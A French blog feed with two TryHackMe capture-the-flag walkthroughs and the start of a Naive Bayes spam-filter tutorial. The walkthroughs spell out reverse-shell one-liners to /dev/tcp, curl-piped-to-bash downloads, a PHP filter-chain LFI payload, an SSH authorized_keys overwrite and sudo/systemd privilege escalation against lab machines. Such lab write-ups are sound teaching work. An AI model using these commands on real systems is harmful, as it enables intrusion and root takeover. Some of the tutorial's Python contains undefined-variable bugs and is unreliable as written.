<p>Le script utilise <code>optparse</code> pour gérer les arguments. On peut donc ajouter les trois options <code>-u</code> pour l’URL cible, <code>-l</code> pour le nom d’utilisateur et <code>-p</code> pour le mot de passe.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746667078187/78cfc61a-03da-44db-9e8d-4399a03bba73.png" alt class="image--center mx-auto" /></p>
<p>Après avoir lancé l’exploit avec les bon paramètres, on est maintenant connecté sur la machine avec <code>www-data</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746708238843/c4b8f267-2b18-4282-85da-245232b85736.png" alt class="image--center mx-auto" /></p>
<p>On voit bien que l’exploit a uploadé un webshell à l’adresse <code>http://10.10.123.58/subrion/panel/uploads/lpfotmxhylzwuss.phar</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746708586982/4d34069b-aa48-459c-9629-23fc4c0db706.png" alt class="image--center mx-auto" /></p>
<p>Ce webshell (lpfotmxhylzwuss.phar) permet d’exécuter des commandes à distance via des requêtes HTTP, en PHP ici.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746708778813/e1246df7-40be-465f-9f62-f096879231c0.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746711106011/6aef2822-d97a-44a5-b347-c8fe6c728dc4.png" alt class="image--center mx-auto" /></p>
<p>L’exploit <code>49876.py</code> ici permet d’exécuter des commandes sur le serveur , mais il est limité au répertoire <code>/var/www/html/subrion/uploads</code>. Même lorsqu’on fait cd /, on se trouve toujours dans le répertoire <code>/var/www/html/subrion/uploads</code>.</p>
<p>Le webshell <code>lpfotmxhylzwuss.phar</code> est limité, on a pas de changement de répertoire. Il faut donc trouver un moyen d’avoir un shell interactif.</p>
<p>On va donc tenter d’obtenir un reverse shell, en y envoyant un payload qui se connecte à notre machine.</p>
<pre><code class="lang-bash">nano revshell.sh
<span class="hljs-comment">#!/bin/bash</span>
/bin/bash -i &gt;&amp; /dev/tcp/10.10.12.49/4444 0&gt;&amp;1
</code></pre>
<p>Ce code va créer un reverse shell vers notre machine. La prochaine étape serait de lancer un écouteur sur notre machine avec la commande <code>nc -lvnp 4444</code> puis récupérer le fichier <code>revshell.sh</code> depuis le serveur subrion. La commande bash exécute le script téléchargé.</p>
<pre><code class="lang-bash">curl 10.10.12.49:8000/revshell.sh | bash
</code></pre>
<p>On a donc réussi à avoir le shell.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746710367088/77189810-6950-489b-8dff-8dd943b040c2.png" alt class="image--center mx-auto" /></p>
<p>On peut voir ici qu’il y a un utilisateur du nom de <code>scamsite</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746712841987/cadd4b0f-eb15-4599-b669-b339e5f5e545.png" alt class="image--center mx-auto" /></p>
<p>Le fameux répertoire <code>/test</code> sort aussi des fichiers assez bizzares</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746712954724/a93f4b00-487f-4bfa-acd5-fb68f62b2c67.png" alt class="image--center mx-auto" /></p>
<p>Dans le répertoire <code>/wordpress</code>, on voit un fichier <code>wp-config.php</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746713013198/f3a5307b-0270-4d1e-a984-1897653a5eaf.png" alt class="image--center mx-auto" /></p>
<p>Bingo, dans ce fichier, on a des identifiants MySQL. Il peut s’agir d’identifiants pour accéder à une base de données WordPress? SSH? ou autre.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746713095613/0e03a28e-a281-4c75-a10e-b5dfbef2c268.png" alt class="image--center mx-auto" /></p>
<p>La tentative de se connecter à mysql fonctionne.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746713881270/2cd2d0a8-a3ef-4f9f-987b-c74ab30b1ce0.png" alt class="image--center mx-auto" /></p>
<p>En parcourant le site de wordpress on arrive à se connecter avec les identifiants.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746714225046/fffeedf5-13e0-4c56-ad6a-7f7d26b33c0e.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746714262641/93ce73ff-6ba7-40d1-a40a-68cf1862b54b.png" alt class="image--center mx-auto" /></p>
<p>En parcourant le site, je n’ai rien d’intéressant.</p>
<p>Je retourne voir si je peux utiliser les identifiants trouvés.</p>
<p>Je vois que j’arrive à me connecter sur l’utilisateur <code>scamsite</code> avec le mot de passe trouvé.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746714493855/a4553fe0-70af-4031-b464-84a03b6f7484.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746714722438/2d56c010-c57c-4f76-8c4d-2b7eca78bcb3.png" alt class="image--center mx-auto" /></p>
<p>La commande <code>sudo -l</code> afficher les commandes privilèges que l’utilisateur <code>scamsite</code> peut exécuter via sudo.</p>
<p>On voit qu’il peut exécuter <code>usr/bin/iconv</code> en tant que <code>root</code>sans mot de passe. Après quelques recherches rapides, <code>iconv</code> est un utilitaire pour convertir des encodages de fichiers.</p>
<p>On exécute la commande <code>sudo iconv -f utf-8 -t utf-8 /root/root.txt</code> et on a le flag 😉.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746715442612/8dbd64ef-7a80-4531-acdb-4136ad67dd82.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[TryHackMe Room Cheesectfv10]]></title><description><![CDATA[Lien de la room: TryHackMe | Chese CTF
La room n’a pas été complétée en une fois, donc il y a plusieurs adresses de la machine cible 😁.
Énumération
Le résultat du scan Nmap sur la machine sort presque tous les ports ouverts. Cne n’est donc pas une p...]]></description><link>https://blog.fikara.io/tryhackme-room-cheesectfv10</link><guid isPermaLink="true">https://blog.fikara.io/tryhackme-room-cheesectfv10</guid><category><![CDATA[cheesectfv10]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[shell]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Tue, 06 May 2025 16:06:14 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1746543221556/353365c1-1112-43c2-973d-890a1e22c750.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Lien de la room: <a target="_blank" href="https://tryhackme.com/room/cheesectfv10">TryHackMe | Chese CTF</a></p>
<p>La room n’a pas été complétée en une fois, donc il y a plusieurs adresses de la machine cible 😁.</p>
<h1 id="heading-enumeration">Énumération</h1>
<p>Le résultat du scan Nmap sur la machine sort presque tous les ports ouverts. Cne n’est donc pas une piste envisageable.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746657167021/e05065ec-a98b-4c16-9ba7-320fe67c1ef1.png" alt class="image--center mx-auto" /></p>
<p>En regardant de plus près le port 80, on a une interface, et on y voit une page de login.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746549859868/eeba2534-e13f-4180-87dc-15d04525f83a.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746549887341/b953e0e6-86f7-4548-9f25-46e2840b248b.png" alt class="image--center mx-auto" /></p>
<p>On essaie ici de l’injection SQL</p>
<h1 id="heading-obtenir-lacces-shell">Obtenir l’accès shell</h1>
<h2 id="heading-avec-le-parametre-cmd">Avec le paramètre cmd</h2>
<ol>
<li>Créer un fichier <code>shell.sh</code> pour mon script de reverse shell. On veut donc initier la connexion depuis la machine cible.</li>
</ol>
<p>Remplacer 10.10.102.158 par l’adresse IP de votre machine.</p>
<pre><code class="lang-bash">cat shell.sh 
<span class="hljs-comment">#!/bin/bash</span>
bash -i &gt;&amp; /dev/tcp/10.10.102.158/4444 0&gt;&amp;1
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746544143626/615e08b3-a3e5-4eaa-91cc-19bea55574bf.png" alt class="image--center mx-auto" /></p>
<ol start="2">
<li>Démarrer le listener netcat sur la machine principale pour écouter les connexions entrantes sur le port 4444</li>
</ol>
<pre><code class="lang-bash">nc -lvnp 4444
</code></pre>
<ol start="3">
<li>Démarrer un serveur HTTP qui va contenir le fichier <code>shell.sh</code>. Le fichier doit être dans le le répertoire courant où vous exécutez la commande.</li>
</ol>
<pre><code class="lang-bash">python -m http.server 8000
</code></pre>
<ol start="4">
<li>Utiliser l’outil <a target="_blank" href="https://github.com/synacktiv/php_filter_chain_generator">php_filter_chain_generator</a> pour générer la chaîne de filtres PHP</li>
</ol>
<pre><code class="lang-bash">python3 attack.py --chain <span class="hljs-string">'&lt;?php system($_GET["cmd"]); ?&gt;'</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746544061591/53a75b57-8673-40b2-855d-4f3f19525946.png" alt class="image--center mx-auto" /></p>
<p>Ici on utilise <code>'&lt;?php system($_GET["cmd"]); ?&gt;'</code> car on veut exécuter des commandes sur le serveur cible via le paramètre <code>cmd</code> dans l’URL. On veut exploiter une vulnérabilité de type Local File Inclusion LFI afin d’exécuter des commandes arbitraires sur la cible.</p>
<ol start="5">
<li>Modifier l’URL vulnérable pour y ajouter <code>la chaîne de filtres PHP générée</code> et le paramètre <code>cmd</code>.</li>
</ol>
<p>URL de base: <mark>http://10.10.162.24/secret-script.php?file=php://filter/resource=users.html</mark></p>
<p>Début de la chaîne de filtre PHP : <mark>php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode</mark></p>
<p>Fin de la chaîne de filtre PHP: <mark>UTF8.UTF7|convert.base64-decode/resource=php://temp</mark></p>
<p>On rajoute donc le paramètre <mark>&amp;cmd=curl http://10.10.102.158:8000/shell.sh | bash</mark> à la fin de la chaîne de filtre PHP et on obtient ainsi le reverse shell.</p>
<ul>
<li><p><code>curl http://10.10.102.158:8000/revshell.sh</code>: utilise l’outil curl pour télécharger le fichier shell.sh depuis le serveur HTTP sur le port 80</p>
</li>
<li><p><code>| bash</code>: redirige la sortie de la commande curl vers l’interpréteur de commandes bash, pour exécuter le script.</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746547286658/cabf2748-9b25-4180-8215-00b55abacc29.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746545277448/eb5f10ea-c90f-4b52-865c-e53d93920002.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-avec-curl">Avec curl</h2>
<p>On peut aussi spécifier directement la commande curl dans le payload lors de la génération de la chaîne de filtres PHP. C’est une alternative pour exécuter directement la commande curl sur le serveur, sans avoir à passer de paramètres supplémentaires à l’URL.</p>
<pre><code class="lang-bash">python3 attack.py --chain <span class="hljs-string">'&lt;?= `curl 10.10.102.158:8000/shell.sh | bash` ?&gt;'</span>
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746548656865/269b63b9-85e4-44f9-9f18-439422d48219.png" alt class="image--center mx-auto" /></p>
<p>Ce payload utilise la syntaxe courte <code>&lt;?= ?&gt;</code> pour exécuter la commande <code>curl</code> qui télécharge et exécute le script <code>shell.sh</code> depuis le serveur HTTP.</p>
<p>Une fois la chaîne de filtres générée, on peut l’intégrer dans l’URL et obtenir l’accès sur la machine en reverse shell.</p>
<h1 id="heading-flag-usertxt">Flag user.txt</h1>
<p>On veut lire le contenu du fichier user.txt</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746637426433/df5bbc2e-1837-4ed3-84ee-beb3dba45cb0.png" alt class="image--center mx-auto" /></p>
<p>Il faut donc trouver un moyen de pouvoir lire le contenu du fichier <code>user.txt</code>. Seul le propriétaire <code>comte</code> a le droit de lire et écrire dans le fichier. Vu qu’on est connecté à <code>www-data</code>, on a aucun droit.</p>
<p>On essaiera de vérifier si <code>www-data</code> n’a pas accès à d’autres fichiers ou répertoires.</p>
<pre><code class="lang-bash">find /home/comte -<span class="hljs-built_in">type</span> f -readable -writable
</code></pre>
<p>Cette commande permet de lister les fichiers dans le répertoire <code>/home/comte</code> et les sous-répertoires, que l’utilisateur <code>www-data</code> peut lire (-readable) et écrire (-writable).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746640001975/81188dc6-acc5-4a33-b148-cd4c365e96e2.png" alt class="image--center mx-auto" /></p>
<p>On peut donc voir que le fichier <code>authorized_keys</code> dans le répertoire <code>/.ssh</code> peut être lisible et modifiable par <code>www-data</code>.</p>
<p>Ce fichier est composant du mécanisme d’authentification par clé publiques de SSH. Il contient une liste de clés publiques SSH appartenant aux utilisateurs autorisés à se connecter à un compte spécifique. Il fonctionne avec une clé privée, qui est sur la machine de l’utilisateur qui se connecte.</p>
<p>À noter que dans le cas d’une authentification par clé SSH, on a pas besoin du mot de passe de l’utilisateur car SSH utilise la correspondance entre la clé privée et la clé publique placée dans le fichier <code>authorized_keys</code> de <code>comte</code>.</p>
<p>Sur la machine principale, on génère une paire de clé avec la commande <code>ssh-keygen -t rsa</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746641847543/328ec365-afe3-45b9-9efd-8ee996d561b7.png" alt class="image--center mx-auto" /></p>
<p>On obtient une clé privée (key_rsa) et la clé publique associée (key_rsa.pub).</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746643650075/beb7c51c-a5b8-4a65-ba70-dbcf34bbc76f.png" alt class="image--center mx-auto" /></p>
<p>Il faut ensuite copier le contenu de la clé publique dans le fichier <code>authorised_keys</code> de la machine cible afin dese connecter au compte <code>comte</code> depuis la machine principale via SSH.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746642068184/5ad91320-1162-41c2-a33a-731dffbb60a5.png" alt class="image--center mx-auto" /></p>
<p>Sur la machine principale sur laquelle la paire de clés a été générée, lancer la connexion ssh en utilisant la clé privée.</p>
<pre><code class="lang-bash">ssh -i key_rsa comte@10.10.46.126
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746642211249/e31cf5fa-7c8a-4ce6-b327-087961a17ed0.png" alt class="image--center mx-auto" /></p>
<p>On a arrive donc à se connecter au compte <code>comte</code> et on obtient le flag.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746642243905/677b07a0-477f-4c2a-9aa1-c37b1556f7d7.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-flag-roottxt">Flag root.txt</h1>
<p>On commence par la commande <code>sudo -l</code> pour afficher les commandes privilèges que l’utilisateur comte peut exécuter via sudo.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746646645464/8afcbef2-68eb-48f6-83ef-1551207a2fd9.png" alt class="image--center mx-auto" /></p>
<p>On voit qu’on peut exécuter des commandes <code>systemctl</code> sans avoir à fournir de mot de passe. On peut (re)démarrer, activer le service <code>exploit.timer</code> ou recharger les fichiers de configuration des services systemd via <code>daemon-reload</code>.</p>
<p>Une unité <code>.timer</code> est utilisée pour planifier des tâches. Si <code>exploit.timer</code> est donc mal configurée, on peut l’exploiter.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746648740051/8ceed75d-45ed-4d97-9b27-2894ec00b4a2.png" alt class="image--center mx-auto" /></p>
<p>Le fichier de configuration <code>exploit.timer</code> est incomplet. Au niveau de la section <code>Timer</code>, le champ <code>OnBootSec</code> spécifie un délai après le démarrage du système avant que la minuterie ne s'active.</p>
<p>Le fichier <code>exploit.service</code> est bien configuré: c’est un service de type <code>oneshot</code>, il exécute une commande unique et se termine. Elle exécute un script bash qui copie <code>/usr/bin/xxd</code> dans <code>/opt/xxd</code> et modifie ses permissions (+sx). Cela signifie que le binaire <code>/opt/xxd</code> sera exécuté avec les privilèges de son propriétaire, qui est <code>root</code>.</p>
<p>Puisqu’on peut modifier le fichier <code>exploit.timer</code>, on y ajoutera une valeur à <code>OnBootSec=</code> pour activer la minuterie, ce qui déclenchera l'exécution de <code>exploit.service</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746649755224/060fa591-7d9b-4556-b0c4-49648d798532.png" alt class="image--center mx-auto" /></p>
<p>On recharge les configurations ensuite.</p>
<pre><code class="lang-bash">sudo systemctl daemon-reload
sudo systemctl <span class="hljs-built_in">enable</span> exploit.timer
sudo systemctl start exploit.timer
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746650044328/d7207eeb-7d85-4933-b2cf-0e6538e1ebfe.png" alt class="image--center mx-auto" /></p>
<p>Le fichier <code>/opt/xxd</code> a bien été créé et les bits <code>setuid</code> et <code>setgid</code> sont définis, signifiant que <code>/opt/xxd</code> s’exécutera avec les privilèges de root.</p>
<p>Le bit SUID est une permission spéciale sur un fichier exécutable qui force ce fichier à s’exécuter avec les privilèges de l’utilisateur propriétaire du fichier, plutôt que ceux de l’utilisateur qui l’exécute.</p>
<p>Ici, le fichier <code>/opt/xxd</code> appartient à root, et avec le bit setuid, il s’exécute avec <code>root</code> même si on est connecté avec <code>comte</code>.</p>
<pre><code class="lang-bash">/opt/xxd /root/root.txt
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746650834846/2a1ed4d2-d9d4-47ce-b231-ff508eb21f54.png" alt class="image--center mx-auto" /></p>
<p>On peut faire trois copier-coller mais on fera un peu plus 😋</p>
<p>Le contenu s’affiche en hexadécimal. On va rediriger la sortie et utiliser un outil comme <code>xxd</code> ou <code>hexdump</code> pour le convertir en texte.</p>
<p>On est dans le répertoire racine <code>/</code> , et la redirection <code>&gt;</code> est gérée par le shell qui s’exécute sous l’utilisateur <code>comte</code> et non par <code>/opt/xxd</code>, d’où l’erreur Permission denied. Bien que <code>/opt/xxd</code> ait les privilèges de root pour lire <code>/root/root.txt</code>, le shell n’a pas les permissions d’écrire dans le répertoire courant <code>/</code> en tant que <code>comte</code>.</p>
<p>On le redirige donc vers le répertoire <code>/tmp</code> a des permissions très ouvertes, ce qui permet à tous les utilisateurs (y compris comte) de créer et écrire des fichiers.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746651538621/15d1d644-4519-4ffa-9b39-953d3b6bd2e5.png" alt class="image--center mx-auto" /></p>
<p>Avec l’option <code>xxd -r</code>, on convertit le contenu de l’hexadécimal et donneés de texte brut.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746651494425/084c188b-1284-4e1f-bc4e-5a9e97dbc509.png" alt class="image--center mx-auto" /></p>
<p>On obtient donc le flag.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746650868441/c43409ec-a4e2-46f8-9af4-0a563a449c5e.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[IA Classification d'emails (Spam-Non Spam)]]></title><description><![CDATA[Cet article traite de la création d’un modèle d’intelligence artificielle qui permettra de différencier les emails en deux catégories: spam et non spam. Le modèle sera basé sur Naive Bayes et on utilisera des données provenant de SpamAssassin. Le but...]]></description><link>https://blog.fikara.io/ia-classification-demails-spam-non-spam</link><guid isPermaLink="true">https://blog.fikara.io/ia-classification-demails-spam-non-spam</guid><category><![CDATA[AI]]></category><category><![CDATA[naive bayes]]></category><category><![CDATA[Machine Learning]]></category><category><![CDATA[machine learning models]]></category><category><![CDATA[Python]]></category><category><![CDATA[spam detection]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Wed, 19 Mar 2025 19:42:56 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/stock/unsplash/XUDseoo1IHc/upload/aa07204230bdd5adbc6d9e961ece1767.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Cet article traite de la création d’un modèle d’intelligence artificielle qui permettra de différencier les emails en deux catégories: spam et non spam. Le modèle sera basé sur <strong>Naive Bayes</strong> et on utilisera des données provenant de <strong>SpamAssassin</strong>. Le but de cet article est de comprendre comment fonctionne un modèle d’IA en l’appliquant à un besoin spécifique.</p>
<p>On commencera par collecter puis nettoyer les données (emails provenant de SpamAssassin), et ensuite vectoriser ces données (les transformer en une forme numérique compréhensible par l’IA) puis ensuite les entraîner afin d’évaluer le modèle.</p>
<p>Le diagramme suivant illustre le flux des données depuis la source jusqu’à l’étape finale de classification:</p>
<pre><code class="lang-mermaid">graph TD;
    A[Collecte des emails] --&gt; |Prétraitement| B[Nettoyage des données]
    B --&gt; C[Tokenisation ]
    C --&gt; D[Stemming / Lemmatization]
    D --&gt; E[Vectorisation TF-IDF /BoW]
    E --&gt; F[Entraînement du modèle ]
    F --&gt; G[Classification des emails ]
</code></pre>
<h1 id="heading-collecte-des-donnees">Collecte des données</h1>
<p>Pour commencer, on veut récupérer des emails, qu'on va pouvoir charger dans le modèle afin de le préparer pour la classification. Ces données seront chargées à partir de datasets publics au choix. Un dataset ou encore jeu de données public est un ensemble de données qui est libre d’accès, et qui peut être utilisé par tous. Les datasets publics sont souvent utilisés pour entraîner des modèles d’intelligence artificielle.</p>
<p>Pour cela, on peut chosir parmi plusieurs sources de données suivantes:</p>
<ul>
<li><p><a target="_blank" href="https://spamassassin.apache.org/">SpamAssasin</a> : un projet open source anti-spam qui offre la possibilité d’identifer, flitrer et bloquer des courriels indésirables. Il utilise des analyses heuristiques sur les en-têtes et les corps des courriels pour l’analyse.</p>
</li>
<li><p><a target="_blank" href="https://www.cs.cmu.edu/~./enron/">Enron Email Dataset</a> : une base de données de milliers de courriels provenant des employés de l’entreprise Enron.</p>
</li>
</ul>
<h1 id="heading-pretraitement-des-donnees">Prétraitement des données</h1>
<h3 id="heading-nettoyage">Nettoyage</h3>
<p>Plusieurs éléments des emails qui ne seront pas utiles lors de la classification seront supprimés. Il s’agit par exemple des en-têtes <strong>(“From: “ , “To: “)</strong> indiquant l’expéditeur et le récepteur, des liens et URLs ou encore des pièces jointes. On se concentre juste sur le contenu du courriel et aussi les éléments de l’en-tête comme l’adrresse de l’expéditeur qui peuvent être utiles pour détecter des modèles de spam. Par la suite, le texte entier du courriel sera converti en minuscules car pour plusieurs modèles de machine learning, les mots “bonjour“ et “Bonjour“, sont deux mots différents. Les stopwords sont aussi supprimés vu qu’ils n’influent pas directement sur la classification de l’email en fonction de son contenu.</p>
<p>Il existe plusieurs manières permettant de nettoyer le courriel, dépendemment de la facon dont on veut que le modèle fonctionne. On pourrait par exemple supprimer les liens ou les URLs ou les garder. Ces liens peuvent parfois êtres des indicateurs de spam assez flagrants; comme le domaine ou des liens suspects.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> re 


<span class="hljs-comment"># Fonction pour nettoyer le texte</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">clean_email</span>(<span class="hljs-params">emails_to_clean</span>):</span>

    <span class="hljs-comment"># Si un seul email est fourni sous forme de chaîne, on le convertit en liste</span>
    <span class="hljs-keyword">if</span> isinstance(emails_to_clean, str):
        emails_to_clean = [emails_to_clean]

    cleaned_emails = []

    <span class="hljs-keyword">for</span> email <span class="hljs-keyword">in</span> emails_to_clean:
        <span class="hljs-comment">#Convertir en minuscules</span>
        email = email.lower()

        <span class="hljs-comment">#Supprimer les sauts de ligne</span>
        email = email.replace(<span class="hljs-string">"\n"</span>, <span class="hljs-string">" "</span>)

        <span class="hljs-comment">#Supprimer les en-têtes des emails (on garde juste le contenu)</span>
        <span class="hljs-comment">#Le ^\s*, permet de supprimer les termes juste au début de la ligne, et si ils sont suivis de ":" </span>
        <span class="hljs-comment">#Si les termes sont ailleurs dans le texte, ils ne sont pas supprimés</span>
        email = re.sub(<span class="hljs-string">r"(?i)\b(subject|from|to|de|à|sujet)\b\s*:\s*"</span>,
                       <span class="hljs-string">""</span>,
                       email)

        cleaned_emails.append(email)

    print(cleaned_emails)
    <span class="hljs-keyword">return</span> cleaned_emails

<span class="hljs-comment"># Exemple d'utilisation</span>
email_text = <span class="hljs-string">"""
De: Expéditeur
À: Recepteur
Subject: Réunion à 11h 

bonsoir à tous,
On fait un exemple pour tester le nettoyage. Vous pouvez consulter l'article à l'adresse https://blog.fikara.io
Cordialement,
"""</span>
cleaned_text = clean_email(email_text)
</code></pre>
<p>En exécutant le code avec l’exemple ci-dessus, on obtient le résultat suivant:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739127402861/63ff5a12-19f5-4f2d-b333-267b020af222.png" alt class="image--center mx-auto" /></p>
<p>On voit bien que le courriel a été nettoyé. Le texte d’abord converti en minuscule, et ensuite les termes de l’entête du message ont été supprimés ("De", "À", "Subject"). Ici, on a gardé les stopwords.</p>
<h3 id="heading-tokenization">Tokenization</h3>
<p>La tokenization est un processus qui consiste à découper du texte en de plus petites unités commes des mots, des phrases, des caractères etc. Elle transforme du texte brut, comme une série de plusieurs phrases, en de mots beaucoup plus courts. Cette étape est nécessaire avant d’entraîner le modèle d’IA, vu qu’il ne comprend pas directement les mots.</p>
<p>Il existe plusieurs types de tokenization:</p>
<ul>
<li><p><strong>La tokenization par mots</strong> : elle consite à découper du texte par des mots simples. Par exemple, la phrase <strong>“Mes cheveux sont longs !“</strong> devient <strong>[“Mes“, “cheveux”, “sont”, “longs”, “!”]</strong></p>
</li>
<li><p><strong>La tokenization par caractères</strong>: ici, chaque caractère d’un mot est traité individuellemment. Par exemple, <strong>[“bonjour“]</strong> devient <strong>[“b”, “o”, “n”, “j”, “o”, “u”, “r”]</strong></p>
</li>
<li><p><strong>La tokenization basée sur des règles spécifiques (regex tokenization)</strong>: elle utilise des expressions régulières pour découper le texte et extraire les mots selon des motifs définis. Elle permet d’extraire par exemple des emails, des URLs, des numéros de téléphone etc.</p>
</li>
</ul>
<p>Dans notre cas, on applique la tokenization des mots.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> re
<span class="hljs-keyword">import</span> nltk
<span class="hljs-keyword">from</span> nltk.tokenize <span class="hljs-keyword">import</span> word_tokenize

<span class="hljs-comment">#Télécharger les ressources pour la tokenization</span>
nltk.download(<span class="hljs-string">'punkt'</span>)

<span class="hljs-comment"># Fonction pour tokenizer le texte</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">tokenize_email</span>(<span class="hljs-params">text</span>):</span>
    cleaned_text_list = clean_email(text) <span class="hljs-comment"># On utilise d'abord la fonction pour nettoyer le texte</span>
    tokens_words= []    

    <span class="hljs-keyword">for</span> email <span class="hljs-keyword">in</span> cleaned_text_list :
        words = word_tokenize(email)
        tokens_words.append(words)
    print(<span class="hljs-string">"Tokens après tokenization: "</span>,tokens_word)
    <span class="hljs-keyword">return</span> tokens_words

<span class="hljs-comment"># Exemple</span>
email_text = <span class="hljs-string">"On fait un essai avec cet exemple."</span>
tokenize_email(email_text)
</code></pre>
<p>On obtient le résultat suivant:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1739130363841/a6694e49-7fe4-4ef1-b215-9359f2fb6e46.png" alt class="image--center mx-auto" /></p>
<p>On voit que le texte a bien été traité. Le script a retourné la liste de tokens de la fonction.</p>
<h3 id="heading-stemming-racinisation-et-lemmatization">Stemming (racinisation) et Lemmatization</h3>
<p>Ces deux techniques aident à ramener les mots dérivés d’un autre mot à leur forme de base, pour éviter d'avoir plusieurs versions d'un même mot.</p>
<ul>
<li><p><strong>Stemming</strong>: elle consiste à réduire un mot à sa racine (d’où le terme racinisation) sans pour autant produire des mots qui seront valides. Par exemple, les mots "chanter", "chante", "chantait” peuvent être réduits à la racine "chant".</p>
</li>
<li><p><strong>Lemmatization</strong>: elle consiste à ramener un mot à sa forme de base, ce qui donne un mot valide. Par exemple les mots "étudiants", "étudier", et "étudié" qui seraient tous ramenés au mot "étudier".</p>
</li>
</ul>
<p>Dans notre cas, c’est la <strong>lemmatization</strong> qui sera choisi car on veut garder le sens des mots.</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> spacy <span class="hljs-comment"># Importation de la bibliothèque spaCy pour la lemmatization en anglais et en francais</span>
<span class="hljs-keyword">import</span> nltk
<span class="hljs-keyword">from</span> nltk.tokenize <span class="hljs-keyword">import</span> word_tokenize 

<span class="hljs-comment"># charger le modèle francais de spaCy</span>
nlp = spacy.load(<span class="hljs-string">"fr_core_news_sm"</span>) 

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">lemmatize_email</span>(<span class="hljs-params">text</span>):</span>
    tokens_list = tokenize_email(text) <span class="hljs-comment">#Récupérer les mots sur lesquels on applique la lemmatization </span>
    lemmatize_list = []

    <span class="hljs-keyword">for</span> token <span class="hljs-keyword">in</span> tokens_list:
        <span class="hljs-comment"># Lemmatization</span>
        doc = nlp(<span class="hljs-string">" "</span>.join(tokens))  <span class="hljs-comment">#transformer les tokens en un document SpaCy</span>
        lemmatized_tokens = [token.lemma_ <span class="hljs-keyword">for</span> token <span class="hljs-keyword">in</span> doc]
        lemmatize_list .append(lemmatized_tokens)

    print(<span class="hljs-string">"Tokens après lemmatization: "</span>,lemmatize_list)
    <span class="hljs-keyword">return</span> lemmatize_list 

<span class="hljs-comment"># Exemple d'utilisation</span>
text = <span class="hljs-string">"Les étudiants n'aiment pas l'examen, mais ils doivent l'étudier."</span>
lemmatize_email(text)
</code></pre>
<p>L’utilisation de spaCy nécessite l’exécution des commandes suivantes:</p>
<pre><code class="lang-plaintext">pip install spacy
python -m spacy download fr_core_news_sm
</code></pre>
<p>On obtient le résultat suivant:</p>
